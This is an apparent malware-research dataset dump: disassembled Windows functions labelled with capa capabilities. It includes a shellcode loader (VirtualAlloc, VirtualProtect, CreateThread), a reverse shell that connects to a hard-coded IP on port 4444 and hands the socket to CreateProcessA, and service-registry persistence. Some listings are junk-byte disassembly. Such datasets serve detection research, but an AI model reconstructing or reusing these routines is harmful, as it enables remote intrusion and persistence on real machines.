joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011109
Capabilities:
Terminate process

Disassembly:
jmp 0x1400119a0
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rcx, [0x1400220a0]
call fcn.140011389
movsxd rax, dword [0x14001d284]
mov qword [rbp + 0xd8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, qword [rbp + 0xd8]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140011a10
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x1400111f9
Capabilities:
Terminate process

Disassembly:
jmp 0x140012fc0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011285
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014310
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014330
xor al, al
jmp 0x1400143b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014343
xor al, al
jmp 0x1400143b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001436d
xor al, al
jmp 0x1400143b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014381
xor al, al
jmp 0x1400143b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014393
xor al, al
jmp 0x1400143b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400143af
xor al, al
jmp 0x1400143b1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400112ee
Capabilities:
Create thread

Disassembly:
jmp 0x140011860
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001d340]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400220a0]
call fcn.140011389
movsxd rax, dword [0x14001d284]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
movsxd rax, dword [0x14001d284]
mov r8, rax
lea rdx, section..data
mov rcx, qword [rbp + 8]
call fcn.1400111b8
mov dword [rbp + 0x24], 0
movsxd rax, dword [0x14001d284]
lea r9, [rbp + 0x24]
mov r8d, 0x20
mov rdx, rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x48], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ac00]
call fcn.14001131b
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400111b3
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x180069430
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r11d, dword [rcx]
mov rsi, r8
mov ebx, dword [rcx + 4]
mov rdi, rdx
movsxd rbp, r9d
mov r10, rcx
test r9d, r9d
jle 0x180069497
sub rdi, r8
inc r11b
movzx r11d, r11b
mov r8b, byte [r11 + r10 + 8]
add bl, r8b
movzx ebx, bl
mov cl, byte [rbx + r10 + 8]
mov byte [r11 + r10 + 8], cl
add cl, r8b
mov byte [rbx + r10 + 8], r8b
movzx eax, cl
mov cl, byte [rax + r10 + 8]
xor cl, byte [rdi + rsi]
mov byte [rsi], cl
inc rsi
sub rbp, 1
jne 0x18006945d
mov rbp, qword [rsp + 0x10]
mov eax, r9d
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov dword [r10 + 4], ebx
mov rbx, qword [rsp + 8]
mov dword [r10], r11d
ret
Function at 0x140004907
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.1400123e0
mov r15, qword [0x14002048c]
cmp r15, 1
jne 0x1400049d6
push qword [0x14002057c]
pop rcx
call fcn.14000d5b4
mov r15, rax
and r15, r15
jle 0x14000496c
mov rcx, qword [0x14002057c]
call fcn.14000d5bc
mov rcx, qword [0x14002057c]
call fcn.14000d5d0
or rax, rax
je 0x14000496c
mov rbp, qword [0x140020584]
push qword [rbp + 0x10]
pop rcx
call fcn.14000da6c
jmp 0x140004949
push qword [0x14002056c]
pop rcx
call fcn.14000d5b4
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x1400049d6
push 5
push 0
push 1
push qword [0x14002056c]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009070
mov rcx, qword [0x14002056c]
call fcn.14000d5bc
mov rcx, qword [0x14002056c]
call fcn.14000d5d0
or rax, rax
je 0x1400049d6
mov rbp, qword [0x140020574]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.dll_RemoveDirectoryW
jmp 0x1400049b3
mov rax, 1
jmp 0x1400049e2
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140006a58
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f190]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x14000720c
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.14000719c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021170]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400205b8]
jmp 0x140007248
cmp qword [rbx + 0x18], rdi
je 0x14000724f
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14000723f
jmp 0x140007269
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400205b8]
call fcn.140011c68
lea rcx, [0x140021170]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [rcx - 0x2a], ebx
out dx, al
invalid
xlatb
jns 0x14003f699
invalid
push rbx
ret
int1
cmp dword [rsi - 4], 0x4f
jle 0x14003f64e
invalid
invalid
jle 0x14003f64e
invalid
loopne 0x14003f623
invalid
int3
movsq qword [rdi], qword [rsi]
jg 0x14003f6d2
invalid
int3
stosd dword [rdi], eax
xchg esi, eax
or al, byte [rbp - 0x335691a0]
enter 0xce4, 0x47
fdivrp st(3)
in al, 0xc
fdivrp st(3)
xor cl, cl
push rsp
xchg edx, eax
xchg ecx, eax
out 0x8e, eax
shl dword [rsi + 0x25], 1
and ax, 0x8dd0
pop rax
pop rax
invalid
jmp 0x117cf68dc
retf
xlatb
and ax, 0x8dd0
pop rax
pop rax
movabs dword [0x5abe70d7cb722ae9], eax
retf
xlatb
jo 0x14003f672
pop rdx
jo 0x14003f672
pop rdx
mov dl, 0xb2
shl cl, 0xf
cmp al, 0x48
sti
invalid
push rbx
jo 0x14003f6d8
lahf
test dword [rdx - 0x7b], ebx
test eax, 0x7c0f12ea
test dword [rcx + 0x7c0f12ea], ebp
in al, 0xfd
mov ah, 0xa7
xor edi, dword [rax + rsi*8 + 0x6a679f27]
invalid
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create process on windows
Create tcp socket
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x2a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov ecx, 0x202
lea rdx, [rsp + 0xf0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000115c
xor esi, esi
mov qword [rsp + 0x2b0], rdi
mov edi, 2
mov dword [rsp + 0x28], esi
mov ecx, edi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea edx, [rax + 1]
lea r8d, [rax + 6]
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov ecx, 0x115c
mov word [rsp + 0xc0], di
mov rbx, rax
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0xc4]
mov ecx, edi
lea rdx, str.95.111.227.187
mov word [rsp + 0xc2], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
lea r8d, [rsi + 0x10]
mov rcx, rbx
lea rdx, [rsp + 0xc0]
call qword [sym.imp.WS2_32.dll_connect]
mov rdi, qword [rsp + 0x2b0]
test eax, eax
jne 0x14000115c
xorps xmm0, xmm0
mov qword [rsp + 0xb0], rbx
movups xmmword [rsp + 0xa0], xmm0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0x48], rax
lea rdx, [0x140002290]
lea rax, [rsp + 0x50]
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor ecx, ecx
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x8c], 0x100
movups xmmword [rsp + 0x90], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
jmp 0x140001161
mov eax, 1
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.1400011a0
mov rbx, qword [rsp + 0x2b8]
add rsp, 0x2a0
pop rsi
ret

Function at 0x140001a68
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ab2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ab2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ab2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ab2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ab2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ab4
xor al, al
add rsp, 0x28
ret
Function at 0x14000d080
Capabilities:
Resume thread

Disassembly:
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rdi, rcx
je 0x14000d0ef
mov qword [rsp + 0x30], rbx
xor ebx, ebx
cmp dword [rcx + 0xc], ebx
jbe 0x14000d0d8
mov qword [rsp + 0x38], rsi
mov r8, qword [rdi]
xor edx, edx
mov r8d, dword [r8 + rbx*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x14000d0cc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [rdi + 0xc]
jb 0x14000d0a0
mov rsi, qword [rsp + 0x38]
mov r8, qword [rdi]
xor edx, edx
mov rcx, qword [0x140013388]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14000d1b0
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rdi, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
cmp rdi, 0x40000000
jbe 0x14000d1f0
lea rax, [rdi - 0x40000000]
cmp r14, rax
cmovb r14, rax
mov rsi, qword [0x140013bc8]
lea r15, [rdi + 0x40000000]
cmp rcx, r15
cmovbe r15, rcx
sub r15, 0xfff
test rsi, rsi
je 0x14000d22e
cmp rsi, r14
jb 0x14000d226
cmp rsi, r15
jae 0x14000d226
cmp qword [rsi + 8], 0
jne 0x14000d3f7
mov rsi, qword [rsi]
test rsi, rsi
jne 0x14000d211
mov qword [rsp + 0xa0], rbx
mov rbx, rdi
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0xb0], r12
mov r12d, 0x40
cmp rdi, r14
jb 0x14000d2c2
nop dword [rax]
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
mov rax, rbx
xor edx, edx
div rbp
sub rbx, rdx
sub rbx, rbp
cmp rbx, r14
jb 0x14000d2b9
nop word [rax + rax]
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000d2b9
cmp dword [rsp + 0x70], 0x10000
je 0x14000d33b
mov rbx, qword [rsp + 0x58]
cmp rbx, rbp
jb 0x14000d2b9
sub rbx, rbp
cmp rbx, r14
jae 0x14000d280
test rsi, rsi
jne 0x14000d3a0
cmp rdi, r15
ja 0x14000d3df
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
xor edx, edx
mov rax, rdi
mov ebx, ebp
div rbp
mov eax, ebp
sub rax, rdx
add rax, rdi
mov rdi, rax
cmp rax, r15
ja 0x14000d3df
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000d3df
cmp dword [rsp + 0x70], 0x10000
je 0x14000d371
xor edx, edx
lea edi, [rbp - 1]
add rdi, qword [rsp + 0x68]
add rdi, qword [rsp + 0x50]
mov rax, rdi
div rbx
sub rdi, rdx
cmp rdi, r15
jbe 0x14000d2f2
jmp 0x14000d3df
test rbx, rbx
je 0x14000d2b9
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x14000d3a0
cmp rbx, r14
jae 0x14000d260
jmp 0x14000d2c2
test rdi, rdi
je 0x14000d3df
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x14000d3a0
cmp rdi, r15
jbe 0x14000d2d0
jmp 0x14000d3df
xor edx, edx
lea rcx, [rsi + 0x40]
mov dword [rsi + 0x10], edx
nop dword [rax]
mov qword [rcx], rdx
mov rax, rcx
mov qword [rsi + 8], rcx
add r12, 0x40
add rcx, 0x40
mov rdx, rax
cmp r12, 0xfc0
jbe 0x14000d3b0
mov rax, qword [0x140013bc8]
mov qword [rsi], rax
mov qword [0x140013bc8], rsi
mov r12, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
mov rax, rsi
mov rsi, qword [rsp + 0xb8]
add rsp, 0x80
pop r15
pop r14
pop rdi
ret
Function at 0x14000ecdc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000ed26
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000ed26
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000ed26
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000ed26
cmp dword [rcx + 0x84], 0xe
jbe 0x14000ed26
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000ed28
xor al, al
add rsp, 0x28
ret

Function at 0x140033ce1
Capabilities:
Encode data using xor

Disassembly:
push r10
push r13
pushfq
movabs r13, 0xbc8ba2247c2ef832
mov qword [rsp + 0x18], 0x65857e47
mov r13, qword [rsp + 8]
call fcn.14004996c
Function at 0x1400c3273
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
bt ebx, 0x1f
mov qword [rsp + 0x18], rsi
btr si, ax
push rdi
bt rsi, 0x80
movsx ebx, r11w
sub rsp, 0x30
shrd bx, r11w, 0xbe
rcl si, cl
sub edi, edi
bts bx, ax
mov esi, ecx
shl bx, 0xa6
bt rbx, 0xa2
mov ecx, dword [0x140013bdc]
add bl, 0xb
mov ebx, edi
cmc
jmp 0x1400c32be
test ecx, ecx
je 0x1400c3501
mov rax, qword [0x140013bd0]
xor dl, bpl
add rax, 0x20
sub dl, dl
nop
shr dl, cl
shl edx, cl
btc rdx, 0xbe
movzx edx, byte [rax]
cmp spl, dil
test al, r15b
shr edx, 1
and edx, 1
clc
test al, 0x2a
cmp edx, esi
jmp 0x1400c32f9
jne 0x1400c3343
inc ebx
cmp r13b, r8b
add rax, 0x38
cmp ebx, ecx
jb 0x1400c32e1
mov eax, edi
mov rbx, qword [rsp + 0x48]
shld esi, r10d, 0xa1
movsx rdi, r15w
mov rsi, qword [rsp + 0x50]
shr di, cl
seto dil
add rsp, 0x30
jmp 0x1400c333c
pop rdi
jmp 0x1400c3342
ret
cmp ebx, 0xffffffff
jmp 0x1400c334b
je 0x1400c3501
mov r8d, edi
cmovnp dx, r9w
lea rcx, [rsp + 0x20]
rcl r8b, cl
sal dh, cl
btr rdx, r15
test esi, esi
movsx rdx, cx
mov edx, 0xffffffff
not r8b
setne r8b
jmp 0x1400c337e
call fcn.1400c399d
mov r8d, dword [0x140013bdc]
cmp r15d, r14d
cmp ebx, r8d
jae 0x1400c342e
nop word [rax + rax]
rdtsc
cmc
shl eax, 0x15
mov eax, ebx
imul rcx, rax, 0x38
nop
bts edx, ecx
and dl, bh
mov rax, qword [0x140013bd0]
movzx edx, byte [rcx + rax + 0x20]
cmp cx, r8w
shr edx, 1
test dh, 0xad
cmp si, 0xd997
and edx, 1
cmp r14d, 0x833fae06
cmp edx, esi
jmp 0x1400c33df
je 0x1400c341b
mov edx, esi
movzx rcx, bp
movsx rcx, r15w
mov ecx, ebx
jmp 0x1400c33f6
call fcn.1400c3747
mov edi, eax
clc
stc
test r12b, r13b
test eax, eax
jmp 0x1400c3409
jne 0x1400c342e
mov r8d, dword [0x140013bdc]
jmp 0x1400c341b
inc ebx
test r9b, r10b
cmp ebx, r8d
jmp 0x1400c3428
jb 0x1400c33a7
cmp qword [rsp + 0x20], 0
je 0x1400c3501
mov eax, dword [rsp + 0x2c]
clc
test eax, eax
jmp 0x1400c3446
je 0x1400c34df
mov rbx, qword [rsp + 0x20]
shr ch, cl
mov rcx, rsp
mov qword [rsp + 0x40], rbp
test r8b, r15b
bt ecx, 0x8b
mov ebp, eax
or cl, r11b
nop dword [rax]
rol cl, 0x13
sub ecx, 0xaa0d2530
add cl, r8b
nop dword [rax + rax]
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
jmp 0x1400c348c
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
jmp 0x1400c349d
je 0x1400c34bf
mov rcx, rax
jmp 0x1400c34ab
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
jmp 0x1400c34b9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
sub rbp, 1
jmp 0x1400c34cc
jne 0x1400c347f
mov rbp, qword [rsp + 0x40]
rcl r8b, cl
add r8b, al
shr cl, cl
mov r8, qword [rsp + 0x20]
shr cx, cl
cmc
cmovnp cx, bx
sub edx, edx
movsx ecx, di
mov ch, 0x84
mov rcx, qword [0x140013388]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x48]
bt rsi, 0x8b
mov eax, edi
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
jmp 0x1400c351c
ret
Function at 0x14001509c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14001511a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140015111
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140015111
mov rax, qword [rbp - 8]
jmp 0x14001512f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400150e4
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010c9
mov rcx, qword [rbx]
mov rax, qword [str.java]
test rax, rax
jne 0x1400010d8
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rax, [0x140002250]
mov r8d, 2
lea r9, str._J_ms8m
mov qword [rsp + 0x38], rax
lea rax, [0x140002240]
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov ecx, edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x14000a0d0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x1400d9040]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, rdx
mov rbx, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rsp + 0x40]
call fcn.140003ab0
nop
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0xf
jbe 0x14000a126
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.1400033f0
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x14000a24b
mov byte [rsp + 0x38], 1
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000a24b
mov byte [rsp + 0x39], 3
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x39]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000a24b
mov byte [rsp + 0x3a], 3
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x3a]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000a24b
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14000a211
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000a24b
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
jmp 0x14000a24d
xor bl, bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14000a28d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a288
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a288
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140090344
movzx eax, bl
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400902e0
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rdi
ret